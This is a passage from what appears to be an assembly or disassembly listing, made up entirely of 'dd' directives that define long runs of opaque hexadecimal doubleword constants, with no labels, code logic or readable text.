0C345CBCCh, 0B6005E56h, 0C0E7AE32h, 0F823B995h dd 0E62A004Ch, 0EE927ED4h, 53F8B462h, 36B24E00h, 5AFC95DDh dd 1C7A1D16h, 0A2884055h, 0D98BACF7h, 0F8EE9400h, 6C664292h dd 0A913079Ah, 398D5825h, 0C49EC783h, 70908899h, 0BC01F6EAh dd 0F4DB235Dh, 0B5EC1B69h, 82D112CCh, 87B9033Ah, 0F0B8FD2Fh dd 0E03C16C6h, 420C00D8h, 1A34025Ah, 7D0900D3h, 0C9597860h dd 0B83DB9F0h, 0B3FFCh, 0E3F6AA81h, 1224A70h, 5EE6D5BEh dd 0E84EC81Ch, 0F80FD085h, 835C92BAh, 0E035491Dh, 380AD9ADh dd 3F009FABh, 0C7C5A1D0h, 0E70FEB48h, 8ED360h, 0AD9C128Ch dd 55DB0014h, 0A2A9C7FEh dd 0FA589B7Fh, 8B41412h, 0DC9C16E4h, 2B636D00h, 985A189h dd 825CAEBEh, 0A0C75B07h, 99CFEED9h, 8C93D00h, 0C45241A2h dd 74DB0060h, 871DFA0Dh, 4B011719h, 0F23AAA66h, 75FCA082h dd 6A7595h, 0CF4926F1h, 0F868A816h, 390012FEh, 7C18DC44h dd 7F6AED93h, 4A401EB0h, 0A8F80073h, 899B50A4h, 5D2E307Ah dd 0FA85B072h, 5080DC7Dh, 0F12F3A9h, 0BFEEC2D4h, 50494BE0h dd 73E41F27h, 2F912B00h, 0F338BCACh, 89613D98h, 44141E82h dd 424355A3h, 8E58C1B8h, 86F4E100h, 28D9377Ch, 4127006Ah dd 45C8E3BBh, 9C011830h, 0D32B8D4Fh, 68E8027Bh, 0FA3D60F9h dd 40286C55h, 22242F0Eh, 0C40580D7h, 0C67735h, 0BBF9372Dh dd 0E9737934h, 68A7DE00h, 4E0C47EEh, 0B90300F3h, 0E89AAA5Eh dd 92757579h, 0C55AF800h, 0A2B4BDCCh, 8AAD3A96h, 48F5B680h dd 3A05B89Bh, 5A98330Eh, 1B626049h, 75D9E9DDh, 9F0700DAh dd 0B03C8CAFh, 4400869Eh, 250DC07Eh, 0F0BAE7h, 0BE562AF6h dd 4454D31h, 0D3061700h, 1AAAAFB1h, 0B4E0093h, 1B92613Ch dd 5C002862h, 0B522CED1h, 3A7A69C3h, 361D207Dh, 0B0A688h dd 34E14ECAh, 0CE787C25h, 0B9D43100h, 4C07217Fh, 73D25C74h dd 8208A300h, 4F613D63h, 0FD1AA01h, 97DA1AB8h, 0B9804C21h dd 382CB653h, 0A63F06DFh, 762F3DF4h, 0AB00DC9Ah, 1A23273h dd 16CA933h, 0C5889FEh, 0D4944113h, 8000CFACh, 0E3F22751h dd 481576Fh, 5DDF0115h, 0E1A9801Ch, 0D3002A18h, 85FF6793h dd 3CD91B0Fh, 0BB1CEA1Fh, 803B1FC8h, 0C3F7AA33h, 0AB00B21Eh dd 1B61A118h, 13E2D4B7h, 9A28F6h, 0A5B93EA8h, 0E30EEFD2h dd 1A04168h, 0CC7F36Eh, 7896ACCh, 56093B6Bh, 0F833C0E1h dd 7A00F6DFh, 5D3ECECDh, 147624Ah, 0A8D877E2h, 8F994D1Dh dd 8FF470F9h, 45346958h, 8C8A8018h, 455E11FBh, 77F12000h dd 0F1BE9F5h, 0EFAF0285h, 923162Dh, 75CC4360h, 0BAF98400h dd 0F5C0343h, 93AF0074h, 0B0E8E29Eh, 0D0B0E629h, 0B1EBFD1Ch dd 7BCDBD80h, 38B71550h, 0AF135B5Ah, 0C14A1C55h, 53862B2Eh dd 0BCD0E74Fh, 0D000CFCEh, 0AF52226Ah, 0C0DD0B50h, 891B4FC0h dd 0EB67EDADh, 300D610h, 50F424E3h, 377ACF9h, 3862134Dh dd 0CFA85F0Fh, 57008D54h, 1F783B2h, 981EEB4Ah, 86A705FCh dd 9015D709h, 5CCC55E8h, 4A966403h, 0D0680104h, 3EDF06h dd 2E915486h, 0D99341BBh, 0D4F8FE00h, 0F020A4CDh, 88630036h dd 0E18DADFAh, 2AF2AAE3h, 0C85C050Bh, 9B7887F2h, 1AB4C460h dd 50FA1C07h, 0ECED82E1h, 8068291Fh, 1500F52Dh, 780CA50Fh dd 1049A0Eh, 0F6017292h, 3056BC8Eh, 7D38B949h, 0D77E0130h dd 0EC5EFFE5h, 0C8FA27F1h, 3E61D68Ch, 91000E01h, 0B171DA50h dd 309831C6h, 0F626301h, 0C9BC17D6h, 9E7330h, 50D2F97Bh dd 0E0B3E996h, 4C741202h, 0C0192839h, 0E4A3177Fh, 0C5F20332h dd 1E8FC293h, 0EC1FE590h, 82CBEA38h, 0DBF41A3h, 32D84045h dd 0F0A7982Fh, 3BDB00EBh, 0DD493451h, 770F53A4h, 0E09F64C3h dd 2AB15210h, 32D4E76Eh, 9F60FB70h, 0E7610035h, 0E078687Fh dd 0B1EA499h, 0A14FD515h, 21F0893Ch, 4C6B2A5Ch, 0E615AE4h dd 177156BAh, 0E700FD3Dh, 0EC193655h, 0B6E86C82h, 8B74FD1Eh dd 185AD00h, 2866CAF5h, 0F81150h, 892A2113h, 0C80F87CFh dd 84581548h, 3E00C012h, 6242C3F6h, 28BA0A00h, 14CE17D8h dd 61C60099h, 0FF404E74h, 0B0A3AFD9h, 6F0AD4C0h, 0D55D7D00h dd 2BC8A5AEh, 3098016Eh, 27B9FF1Ch, 0BDEAD715h, 0BF9D34C0h dd 9B728900h, 2586BE6Dh, 703480Dh, 0C066EF01h, 0C92833A4h dd 1E94D8FFh, 0C23A9500h, 8F910A5Fh, 0CFD607DBh, 0E070A40Ch dd 9E2494FAh, 0C398C060h, 486FC54Bh, 0BD003805h, 23316E5Bh dd 0BB00E810h, 0A632797Bh, 81C30Ch, 1815453Bh, 7D8EB983h dd 0DD6B700h, 8AE8F578h, 2DC800DDh, 0B35F75ADh, 0BC00FD73h dd 7B2B7D1Eh, 7302F87Eh, 0AB695817h, 3DBB9400h, 371BC441h dd 1CC13Dh, 86261C8h, 0B8279723h, 0EACC1C44h, 11007EF0h dd 5FF9AA69h, 0E500C314h, 3367C858h, 70F2E3Ah, 1A7A7D2Fh dd 937E9018h, 83B88936h, 0A9A14Ch, 28472E8Dh, 0FF5CAA9h dd 0CE6C49CBh, 0A08068C9h, 0AA953BDEh, 0B01D17E6h, 8EC0C560h dd 0C7EEFF9Ah, 1AB10186h, 41763452h, 0DBF1F08Fh, 7961FA00h dd 0BDCE5EE1h, 8C670056h, 0B1984CB8h, 145CCC0Fh, 1B100264h dd 7261EA01h, 0D42E00B8h, 402337DEh, 56076B44h, 0EEACF068h dd 0A7686C0h, 0E03F00C1h, 93FA4DC4h, 1200C318h, 83F6D736h dd 392AD13Bh, 0FBF57Ah, 8C8F6506h, 9CF7C88Eh, 6DBAEE00h dd 0EF525425h, 474401A4h, 4A194B73h, 0F105E0E8h, 0CBBB0400h dd 2F1D6078h, 24D89177h, 0A1246Fh, 190E855Bh, 340039F5h dd 1D52DD4h, 805FACh, 0EF67B557h, 14C11B9Fh, 51BA2C07h dd 0B6500189h, 0B4DE225Ch, 8EF91E10h, 40FE4BCBh, 0BDB4635Dh dd 0AE16CFD8h, 4B1E4EABh, 266F2440h, 0B5F599h, 5E483B3Dh dd 575FF892h, 80AA0C01h, 0FB17A7ECh, 3ACCC370h, 0CE00A9A2h dd 0D0E85EBEh, 1403F3EBh, 80074B5Ch, 0FAE18048h, 8AB8395Dh dd 0E08823B0h, 6C9276AEh, 0CABE5000h, 3C9BB060h, 0C5AC0F42h dd 31C0D438h, 0C6AFDFF3h, 7733F600h, 0D5EFD671h, 0DC51009Dh dd 664CE37Eh, 0E004993h, 9B600839h, 71F14DB6h, 22F5005Dh dd 50C9E483h, 0B700E9E0h, 0F6CDCE4Fh, 17159587h, 0FA6BA0F9h dd 609F3A0Fh, 0B6AB8FC1h, 74080330h, 0D4A3FC62h, 0B7CC80CCh dd 4F00DA24h, 0F95BDE25h, 87681Ah, 0FA9ACBF3h, 0B76DE11Bh dd 3A8E5803h, 90C96253h, 4DBC4Eh, 0C8BDA4E3h, 1646191Dh dd 0C30DAB00h, 0C2B8D53Ah, 62EFA0C5h, 33DE3A48h, 5E79D300h dd 0BF253C17h, 14D965Ch, 0F96B3186h, 3830BB1Eh, 2D8800AFh dd 0EE32A68Dh, 0DB002108h, 0D1ED2C7h, 0DE9352h, 7DF33494h dd 7FD1453Ah, 18E03C75h, 0C0CBC500h, 5E04CA58h, 63270010h dd 0F1C72E59h, 640032D1h, 3BDF84B3h, 0AA25FCh, 20998AD3h dd 4EB076C1h, 59FE930Fh, 0BD889930h, 0E838CDDDh, 0B988077Ah dd 0C005EED4h, 642EB6DEh, 0CE4B5Ch, 25C41977h, 445928h dd 0C88A5060h, 3D5E751Ch, 6209A000h, 0FE49FA4Ch, 0CECA05F1h dd 830EBE3Fh, 9ED0F596h, 592609A1h, 0AF827C24h, 61468CBFh dd 0D8303805h, 0E0C107EFh, 176D6BCBh, 0CCE54095h, 0C416F878h dd 7800C08Eh, 22A0DC61h, 0E48190FFh, 0BB3A16D3h, 5A7800ABh dd 165B70C0h, 9CAC8900h, 976B91DCh, 63E7023Eh, 8760A9F9h dd 7B58DB60h, 90227F00h, 92334EF4h, 75AA7404h, 0C8DE05C1h dd 80A74B85h, 0A198D99Eh, 0FF476404h, 77806114h, 0EED1962Eh dd 78AC076Dh, 8012B7ABh, 0CA027B55h, 3E3DAA05h, 8CC1B8F0h dd 1DFCBAF8h, 0B58C0062h, 0DFDDD35Eh, 600B9B0Ch, 60584AF1h dd 0F7E8D24h, 4FC309EFh, 53B283C0h, 2500F0BAh, 0A9F7CE99h dd 4E2BC1h, 8B75C47Fh, 0D4D8675Eh, 1880C700h, 0A6607230h dd 6D2E3A1Ah, 3B5BC800h, 2DDE4AAEh, 0D2073C09h, 0A3A8637Ch dd 0A83FD376h, 0FE966E8Ah, 1FBE000Bh, 8B71BA3Bh, 5E0E2A3h dd 7200D89Eh, 4B07884h, 756A3867h, 0F27CA680h, 548BC548h dd 0AD1D800h, 909F1E7Ah, 1F8989Ch, 0D0B3DF8Eh, 0F0BFEB09h dd 32FEBE79h, 0F881F300h, 97275883h, 3A13007Eh, 698EC3D1h dd 16F48CC8h, 0AE5D0C3Ah, 0A1008964h, 0F747B45Ch, 0BDE60079h dd 666F4E8Eh, 0C1035E9Ah dd 0C44926F8h, 0BE4FB002h, 0DECB186Dh, 53D664F0h, 8E7E8BF0h dd 0ED00CF74h, 13B8E9B5h, 4E0E62Dh, 0C25E548Fh, 900FAF46h dd 286FE09Ch, 2BEAC3Dh, 0CD9D4DBDh, 0AA633408h, 9F87400h dd 8448079Bh, 0D79F06C8h, 9C985B02h, 6745AA1Fh, 39B81F7Dh dd 0DC8C7A80h, 0A8ACCCh, 0A19C610Dh, 6030198h, 0A938CE00h dd 8E97DF29h, 0AC56002Ch, 9BA5803Fh, 0E1095144h, 68B2A0h dd 497C4788h, 0CCB46Fh, 69CE4A2Eh, 18965B38h, 0A49A5540h dd 0B0C000E5h, 0DFCAAF2Dh, 4517E074h, 0A049F368h, 0BD4C81A5h dd 80F02A53h, 1A902CA9h, 970500A0h, 8D6BE9D1h, 0C8B8E801h dd 5FDD6551h, 9AAFBF0h, 0F2105817h, 29071C00h, 8D009A26h dd 0BE7D4AE9h, 796D642h, 0A45C057Eh, 1A51D00Dh, 38005532h dd 0FBED16F2h, 1F65EAh, 2320CF27h, 1ED882C1h, 1D919200h dd 7AF8BF08h, 79780012h, 3BEDFAC9h, 49F8A199h, 0F1D88100h dd 2C722BFCh, 248F3E0Bh, 778E5E80h, 9170F669h, 6E633Dh dd 4F211B97h, 0A494D6h, 0CBEC6268h, 2A31F174h, 79C1111Eh dd 0C8EB3EC0h, 769543h, 443C2070h, 0C27A4564h, 622F4F00h dd 0E9ECB024h, 0FC1A0BAEh, 0B0008DF1h, 0BADB0CB3h, 0BF753A00h dd 239E6D40h, 0F8D14CB7h, 36C2A900h, 0E6E31BECh, 3D45F801h dd 2EF2CD3Ah, 58005028h, 0F49783C4h, 59046E52h, 4F8D3DBEh dd 2696B8C0h, 0E7E809h, 55CC4E5Fh, 8C918F74h, 68157F00h dd 207B8A73h, 45390577h, 0C38DCB3Eh, 0D580C048h, 0EA00BAEFh dd 550D4D1Dh, 0A85ABEh, 1B3C63FCh, 4C891E10h, 58D40705h dd 0FAC29AC1h, 0E67C44ADh, 66433DC3h, 9FBC1200h, 336A8364h dd 872F3500h, 0E72238BFh, 0DFA803F3h, 0F1411B2Eh, 0D8EAE6C9h dd 5609E4ACh, 80CFFF8Fh, 0B547F70h, 1AE877h, 909E0833h dd 72DEF11h, 12001B73h, 0A6ABB096h, 0E1F885Ch, 0D2D1D9C5h dd 969A4A0h, 6630606Ch, 4D5869FBh, 0FE28ECBAh, 3656082Ah dd 0DE04B3A5h, 0A4C061C1h, 83EC30h, 5E592E45h, 0A84F7DBCh dd 8099313Eh, 2C645D3Dh, 3448E0Ah, 0BACDB0Eh, 80B423CCh dd 0BF497165h, 8B068900h, 430DC4D5h, 73240032h, 0B3A36258h dd 82009012h, 0E7C2E6D7h, 0AC52CAh, 53C3C460h, 34AE486Eh dd 150960Bh, 57AB00BBh, 7EB3D8D4h, 6BC73BECh, 0DC299B80h dd 8130B154h, 338E9D04h, 18C03732h, 0E42F0A1h, 60D1214Fh dd 41BD43A0h, 8A023593h, 2B398D90h, 0B68A5DF8h, 8866030Dh dd 4098FC0Ah, 0B800EF60h, 0F6BFFD6Bh, 61596Dh, 6284EC0Eh dd 12D96F74h, 3B00189Bh, 1993D5B7h, 0D4435C39h, 3C48C604h dd 0A174E0FBh, 9F7AD200h, 0C6920C2h, 7CFFF22Bh, 2A501E3Fh dd 0CCF0840Bh, 0DF00C2C3h, 5580B451h, 0E8B44326h, 65C70013h dd 0E2E3D433h, 0AC3F9816h, 2DB20946h, 64F48025h, 153241h dd 1984FCB9h, 217AE24Eh, 2E5EC500h, 0B8A7CAD9h, 7E1602BBh dd 0F4E15890h, 0A3DA24C8h, 0ACB420EDh, 8000134Fh, 205292Ah dd 901E00C6h, 5FB50831h, 444D5EEAh, 5BC0098Ch, 8F288275h dd 4B486067h, 4FA60F6Ch, 0A52060CEh, 0E736D7CDh, 44DF1D00h dd 0DEAD0DEBh, 149282h, 62267F3h, 47C92954h, 53D738h, 2B72BD5Fh dd 1451E17h, 9C0A27B0h, 0D0B48AB9h, 0A6009F96h, 0BD02F31Bh dd 1738172Fh, 0DF6BA1h, 58753C56h, 7C009EB9h, 4065484Ah dd 7B02BF5h, 0E23DC17Bh, 2F199C1Ch, 62287707h, 85E419C0h dd 0BA70F9C0h, 2B402D2h, 0F2ADF98Fh, 0BF213040h, 0E10023E8h dd 0DF083B44h, 0F88A80A4h, 72110F94h, 14A08C4Fh, 9866CF45h dd 0BAB62A12h, 600702BAh, 0EC809AECh, 47A5B759h, 18D9A800h dd 154520DDh, 87B21F38h, 579DC05Ch, 0D4E67C85h, 1900EBECh dd 5FF40960h, 489E2D61h, 0D9004CAEh, 0C15039E9h, 0ED7EB82Ah dd 0A527743Ch, 50108D73h, 0FCCADFF0h, 7978CCh, 0F52CA0D7h dd 3F5C9318h, 18236C24h, 8D4BE981h, 0FE30EEA2h, 197D607Bh dd 0CB2A4442h, 0DF008BF0h, 6451EE11h, 1CAFEA5h, 0EC5EC499h dd 2B8255F5h, 9AD76840h, 70436Ah, 937AA053h, 30B7668Ch dd 2011E00Fh, 1D14A04Ah, 0F6F2247h, 2337C886h, 0BB440193h dd 0CC5ED081h, 123EFE1Eh, 89DD80BAh, 28403739h, 0F8820014h dd 0AEDE07E0h, 6A0068F2h, 51BC7141h, 2512F35Dh, 20E0FC53h dd 0CB3EDB63h, 0EC007DC0h, 74E7FE2Fh, 0D43483h, 603EADA9h dd 0F575954Dh, 0CBD57603h, 0B8F86E1Eh, 2B6160Eh, 0DCDDC6E7h dd 68E06917h, 0B1008C83h, 0BBF54A78h, 0ABA9CBh, 0A1CC23C8h dd 66682B38h, 1B5E4900h, 0C3C5DF57h, 61D30F90h, 3729656Ah dd 200C47Eh, 0AF3A119Ah, 1ED6F087h, 0C16689A6h, 7CCB08B1h dd 0D0C0D8F9h, 4FC43501h, 1DA0823Ch, 0F0E0AB70h, 509EADBh dd 0BBFFB62Ch, 0F216C014h, 3A048DA0h, 722EE31Ah, 0FC25D880h dd 0B97100B8h, 6663290Ch, 5000499Ch, 0CEACEA42h, 0E4895E13h dd 760D004Fh, 0E726FBFEh, 38F27556h, 2C82D309h, 7570D07Ch dd 0F2D20051h, 0E74D6D6Bh, 0AD1E2155h, 68E686A3h, 6F5B7103h dd 0AACAD098h, 0E9E400CBh, 0F16C6944h, 750013E1h, 76181223h dd 0EC869BF5h, 806F000Bh, 9EF34448h, 257B920Ch, 8791B02Ch dd 58948038h, 391B8AB7h, 0AFFC6Fh, 90639ADBh, 0B67F5399h dd 0CC664000h, 60306B1Bh, 6A150074h, 33DCEB1Ah, 32008A26h dd 7051D7B5h, 3A50F3h, 0A2FAB6AEh, 5B304DD4h, 17C2E3Ch dd 4EB3C2A3h, 55D85092h, 73F4F3h, 8EB133B2h, 0B4549A03h dd 20F9471Eh, 341C2C00h, 5ACE6FE8h, 7C7FC90h, 0D7D30C3Ah dd 0D2C700DFh, 2C3CF545h, 5108A09h, 80B2AD31h, 63364634h dd 0A647C500h, 95B755C8h, 0C4AB0115h, 7C7906A0h, 3350D89Eh dd 0C3E4FC00h, 0E660D87Eh, 888C5D98h, 0B03B738h, 7685CF5Dh dd 6A0EE807h, 0A3F0A852h, 1CA0C2C5h, 4077F558h, 1D5D0D03h dd 0E6006726h, 3E5042C0h, 49B0B4h, 8B5E5682h, 0FB7E9B43h dd 81F2087Bh, 46B7C309h, 246CD9A7h, 921C00B0h, 1B74C79Bh dd 0A9E95C1Fh, 8400A174h, 0B3933CCh, 0A1030082h, 0C9F4665Fh dd 0A53978A2h, 65B88080h, 11B9A68Ah, 0DD36002Ch, 83BA60EBh dd 8F00E4D6h, 89304723h, 5B7EDCh, 0DD3B3862h, 0BAE79407h dd 0EFB54200h, 2164758Ch, 0EDF895h, 7D2019D7h, 0DAB17ED8h dd 23D7B01h, 54B35867h, 7A5609F4h, 0F6E03Bh, 9D664B4Fh dd 49DB5B46h, 7747F900h, 91B38169h, 0A550144h, 532C6E8Ah dd 0FE9EC993h, 0E440DAC0h, 4CF17400h, 91436B18h, 0EA920014h dd 15F026E2h, 72028DFFh, 6ED0295Eh, 8CF193h, 97A4013Fh dd 3B09DC3Eh, 85FAEEE3h, 43800F90h, 1E0AFF24h, 0CF9D073Fh dd 0DA608F18h, 163252B6h, 67D8B300h, 82260E4Eh, 6241006Ch dd 0A31C15F8h, 0F0001D09h, 0FE5F99DAh, 172683h, 0F940BF6Dh dd 0D5DB711Eh, 0C100A07Eh, 4C28D9BCh, 0F4B646D0h, 45A403D1h dd 0A692F5AEh, 7EA33998h, 0A140097h, 98479A9Eh, 0B0561443h dd 77FC48Bh, 41077BC3h, 7D371086h, 0F1009198h, 6E4BA249h dd 0EE3DAA6h, 0F57C0612h, 0F80239C0h, 0E8008BAFh, 599F4562h dd 0DC3BAAh, 0F990E0BDh, 6ECDF54Ch, 0F4CCD513h, 0C639AF00h dd 432EC2h, 9810EA77h, 122C0661h, 0BCEB6C00h, 26289554h dd 0B70F1D74h, 99E680B5h, 49CCB96Fh, 6183EF0Eh, 27094017h dd 215754h, 1E403074h, 0B78B1A86h, 2C901100h, 6271A081h dd 63AA0057h, 34E265D7h, 70007559h, 5117A3Bh, 0F5406655h dd 0F545CF4h dd 6B854C5Ah, 8D4D2340h, 9705BFA1h, 1DF77063h, 89C3F1C0h dd 0FEBA3E20h, 0C03A949Dh, 57B0E86Ah, 0CC006E1Ch, 5852BD0Eh dd 55B2A8h, 22ABBCE0h, 0E7328D95h, 8F004573h, 4204CD86h dd 91792Fh, 0BBA85330h, 7C967AF0h, 8FF90338h, 6464C109h dd 2F80CC8Bh, 1EBE3CC5h, 0D25B8167h, 8F64B074h, 0FAE9E300h dd 0EE265651h, 2C3E00A9h, 9FFFB0E4h, 0C7FEE1E8h, 0CE365401h dd 33F04099h, 0C6D9AD8h, 0ED1CD55Fh, 0DEF257E4h, 2BAF0400h dd 0EEFFF54Eh, 0E2C93E9Fh, 364AFD03h, 0F1D04BC8h, 0AE00C3B2h dd 8D0B3E6Fh, 1632C797h, 507BE2h, 0DAFDE58Ch, 6B003FFFh dd 8257BAA6h, 53D66h, 5DDE8CE9h, 9DB267F8h, 0A1A4E600h dd 914F77FBh, 4E1C1C1Ah, 31B4003Ch, 51F3C337h, 86683Eh dd 0CA7D07C7h, 1613D9h, 3DAC0FDBh, 0C64BB1A1h, 41AEBF00h dd 0E006F3E9h, 0CE8000F1h, 89BE9C9Ah, 0D901FAE1h, 0F5D543F0h dd 49F8C132h, 1D4E0EA8h, 7EE512EEh, 0AC855Eh, 339BE27Ah dd 0F70003F2h, 784BFA4h, 1E3AAB82h, 404E8634h, 70E7CA1Dh dd 0EA00CF4Ch, 232C554h, 3E42D75Dh, 0D638AEC1h, 102EDC00h dd 0FD792319h, 29C0900h, 14893E44h, 0EE840255h, 5AB5E130h dd 910BA074h, 15005F27h, 25071EC1h, 29D1B600h, 18B738B1h dd 46E01FEFh, 1F300E09h, 0EB1C50C1h, 0EB886BBh, 14920CCh dd 24E51B3Dh, 70C2150Ch, 460F2785h, 0FC424929h, 3F99B780h dd 6BF1F8h, 220EEFE1h, 0B41A907h, 0CB148DECh, 11C5A5Eh dd 0A3AB4ED9h, 3FAED8h, 1BA56590h, 0C171A9F4h, 84E67F17h dd 913700FEh, 0B18FF71Eh, 0B0D97901h, 0A9117C33h, 8D633881h dd 0F4B39490h, 0CD00AE5Ch, 8A2DF4C8h, 39F5E785h, 888354EBh dd 0EA85D59h, 972968A0h, 4DB01E79h, 0F26F3F0Eh, 667EA379h dd 671FF956h, 3C3020h, 4CF3F85Fh, 330E5414h, 687FC800h dd 0C78E3DB2h, 0F47D00F7h, 5F39FA0Fh, 0D500B572h, 23903713h dd 58682FAEh, 1C24B28Eh, 0D0FD00D5h, 4F421B3Eh, 79E7D200h dd 0A7179495h, 92C40BCAh, 7860F6C7h, 6E004E8Eh, 75412579h dd 68B447h, 621F390Ch, 50ABBAF6h, 538E08C3h, 7A9498C0h dd 0F1A21816h, 40861904h, 0EC25960Bh, 1FC901D0h, 0E840A5A9h dd 33F06EFh, 7EEEDCADh, 0A0C1F67Dh, 883920AFh, 162FC800h dd 0F440AA9Ch, 10290017h, 0AA5E07Dh, 8B0051ADh, 8EC727BAh dd 74D261C2h, 0AC8C6055h, 72EDDCE1h, 2632A300h, 4C46BC29h dd 28FE3AA5h, 0B1574A87h, 730FE0B3h, 3113ED1Fh, 0FF0CF783h dd 75418B0h, 0A352BE60h, 38036091h, 0D01D8045h, 0F4280869h dd 274AB10Eh, 4D200034h, 72BC944h, 18AF8A45h, 81651069h dd 0AE00B949h, 7B8F36B2h, 3EF6150Eh, 19007C1Bh, 44074E9Bh dd 0F00694Fh, 47DBD656h, 36C79Fh, 0C99CBCB0h, 210654DEh dd 0A2444E00h, 1AE878A0h, 0EE610039h, 0A3CA0C84h, 490066C8h dd 0C55B8FFDh, 0E8A50EB7h, 0F3692659h, 7A3500B8h, 209B1566h dd 810D48C0h, 0C0543Ch, 11F42E41h, 0AE35B6F0h, 88007BEEh dd 17CEE620h, 0BA9031h, 1A1883A7h, 619DF61Bh, 3600D5E0h dd 67B88B30h, 4D0E29h, 0BD134FE9h, 0D516DCF1h, 773FB18h dd 606D7729h, 10C97825h, 61030B78h, 0CE3D5D0Fh, 0B609E836h dd 3C4F698h, 0F3AF73EEh, 69B8D434h, 28393193h, 0E81980C0h dd 99CF7149h, 0A601DCAh, 332A80F8h, 963FCE77h, 9EBD9C3Dh dd 781BA53h, 0E08C19D9h, 38BC3AECh, 0CC50805Fh, 25DB000Ch dd 0FE06D1F3h, 4E74A0C6h, 805EBD3Eh, 8739A18Ah, 0FCC4FE1h dd 0C89B58EAh, 90458147h, 0CD8B648Eh, 741C693Eh, 28C5400h dd 258D22FFh, 0F29F1D48h, 41C7C026h, 8A1E6266h, 3ABB8F38h dd 0AC180380h, 80B8C1FFh, 38A6586Ah, 0F98002C6h, 0B7A23350h dd 2D3819C7h, 0FAF309AEh, 6E9107AFh, 0DCC2A025h, 92EDE02Ch dd 13CE03CDh, 40ED6CD7h, 98E882E7h, 0B977D60h, 1E2B1F07h dd 1863D079h, 0BB17D8A9h, 4774F1h, 9386D9AEh, 0BF84C839h dd 0C6B95101h, 85E446BEh, 6A601082h, 49E5204h, 0DA0230Fh dd 635C806Bh, 0F219DE9h, 78BEEEC2h, 0CF774280h, 0E0B8FA6Dh dd 0DAD82B00h, 0F6E543F1h, 9AC20026h, 0D00D41FEh, 94006029h dd 0AE4BECABh, 0EAAA10h, 0DED7C076h, 0F5451D98h, 65BBC90Eh dd 2E40BE18h, 668914A0h, 0B1120061h, 8B88D07Eh, 53005EC5h dd 0BEEAAFDFh, 0FEAE1A79h, 0CA4000B6h, 0C76F299Fh, 50725B04h dd 13308A07h, 0C8E0DF92h, 366BD09h, 7641D8B8h, 56003B7Ch dd 8652122Ah, 67C3D1h, 0ED2C3283h, 0B81E736Ch, 0C401ADECh dd 642F9CA7h, 8CD44A2Bh, 9A040077h, 6F5D0C8Eh, 7CB898C6h dd 0E1901000h, 4EFCE4CAh, 65330061h, 6B31AB56h, 42740396h dd 5300D0B0h, 0A2802E3Ch, 633A33h, 8DEC23CEh, 0D781EA4Fh dd 0ACE64000h, 7AAF076Eh, 0FE250180h, 5218D955h, 1A6170A7h dd 7D293104h, 0C18237B5h, 8E60DF72h, 0CD1F6007h, 30803C33h dd 0A1F5D48Eh, 40A8006Ch, 5E91C79Bh, 0B300ABAFh, 5130C5Bh dd 0E24B4F6h, 7E6FDB28h, 0B8EA7660h, 9A009CCEh, 92F02758h dd 518C48h, 24DF83E3h, 0A38FA152h, 544B5900h, 580527D8h dd 31F10081h, 0A5CA6E8Eh, 0B9002073h, 6FC72535h, 0E38D0h dd 99340785h, 61BC6E1Ch, 96D35100h, 45373CB8h, 0C5FD0324h dd 1092C62Dh, 1AF65D90h, 6A67B600h, 15E8A5C4h, 6F9800FBh dd 403B2B54h, 7CF47F1Dh, 22A44Ch, 0CD6709B4h, 0EC7D08h dd 62ADF060h, 9B5E712Fh, 0B1F2CB00h, 9A6381D5h, 458005Dh dd 76784C60h, 0D0004705h, 44DABCDFh, 868C13h, 93653555h dd 168B2CB5h, 0FCA4B607h, 0CCC0F448h, 44F1FAh, 8C5B795h dd 20D8FDF2h, 0E7BCDB00h, 735D17Dh, 2B4C0F36h, 1740430Dh dd 0BE12B4C4h, 0F4F7AA07h, 46A05719h, 0BA8DF3F9h, 29210030h dd 6E769AA9h, 0D700D454h, 0AD2B06F2h, 91C889h, 2C453B3h dd 622FFFDAh, 7FF33C00h, 0BC92A497h, 931F1E84h, 0E680FB46h dd 859D301Ch, 90003EDAh, 0C6057B6Ch, 727709D8h, 0BA3001Ah dd 0BDE231FEh, 2600D379h, 3A8B6FABh, 4D24B221h, 420E0CE6h dd 0C240ADA7h, 0F6DA481Eh, 0C43CCB00h, 0D88B5EAFh, 1C987281h dd 43432B3Bh, 5F10D540h, 0C6FA2CB8h, 1F0C5A02h, 60D79749h dd 1F864D20h, 79A27689h, 681A8E00h, 85666D12h, 56B8B201h dd 6CFE0F7Ch, 2E11D1F4h, 0C1E338h, 0D32F82DFh, 9801803Ah dd 43D28726h, 70803341h, 94033034h, 1FE8081Bh, 1A01D600h dd 6102CE7Ch, 819E07FCh, 13831152h, 10A8F0BFh, 0EC002CBDh dd 6E33E119h, 9B770h, 667F30EBh, 99AED7D5h, 291ECE7Bh dd 854071B5h, 0B4DF3887h, 7054004Ch, 2E5DBF6h, 0BF00EE44h dd 580B1701h, 92A236h, 68C94EBh, 0DF49B4FCh, 0F8E20A02h dd 800BB5C6h, 76FBAE93h, 2EBD0078h, 0C3E40E4Eh, 301D2D8Dh dd 0F1C0CCA0h, 1B205BA1h, 682C0E95h, 0F4A03EC8h, 0DBF812AAh dd 8B214100h, 4B0B9137h, 93D50B52h, 0AC804CC0h, 329EDD16h dd 3295D05h, 0E4404928h, 0E43984A4h, 0A1DA006Ch, 532ED402h dd 3573EC06h, 8A7EC177h, 60CC5900h, 6DB69E69h, 796C9818h dd 0D809487Eh, 0FD0C8000h, 0EE7DD35h, 0A08949h, 465D2BD8h dd 6DB261h, 8227F6B9h, 0B07E5ADFh, 0D6835900h, 428BD702h dd 139A1D1Eh, 430500E9h, 3BAD1D0Fh, 5FE838h, 7F909B91h dd 0E7B8309h, 71524698h, 47FB4020h, 0AA072D67h, 78223848h dd 0AED66BA0h, 98DD4CA1h dd 2D808A39h, 0E4D7B96Ch, 6177634Dh, 7C6ABB00h, 8BC1D006h dd 251515F3h, 497488C3h, 6C03900Bh, 23217237h, 0DD4D84E0h dd 71CFAC1Fh, 279D289Ch, 95927081h, 409D56D8h, 9DD183DAh dd 9C03F0D0h, 21D5572Ch, 39CD984Dh, 716FAB5h, 2DEB609Ah dd 0B06C3241h, 0E994AC80h, 4773B152h, 33E40F24h, 0E02AB700h dd 8C2D4Dh, 88EF574Eh, 1A5B30EDh, 42DA2405h, 75C0A5E8h dd 513AEFBh, 744C616Bh, 8C00C192h, 6FDA4023h, 52001AD3h dd 0E7A05DEh, 6585EAh, 0FE4C1603h, 4F81BC1h, 1D183116h dd 7F4AE800h, 94EA5Eh, 0C1490CD1h, 78413265h, 0B3B6E3Eh dd 80CB9D0Fh, 9163A12h, 40C30338h, 36436B0Ch, 77A0809Ch dd 5D00017Fh, 0C8451E25h, 85E9C7h, 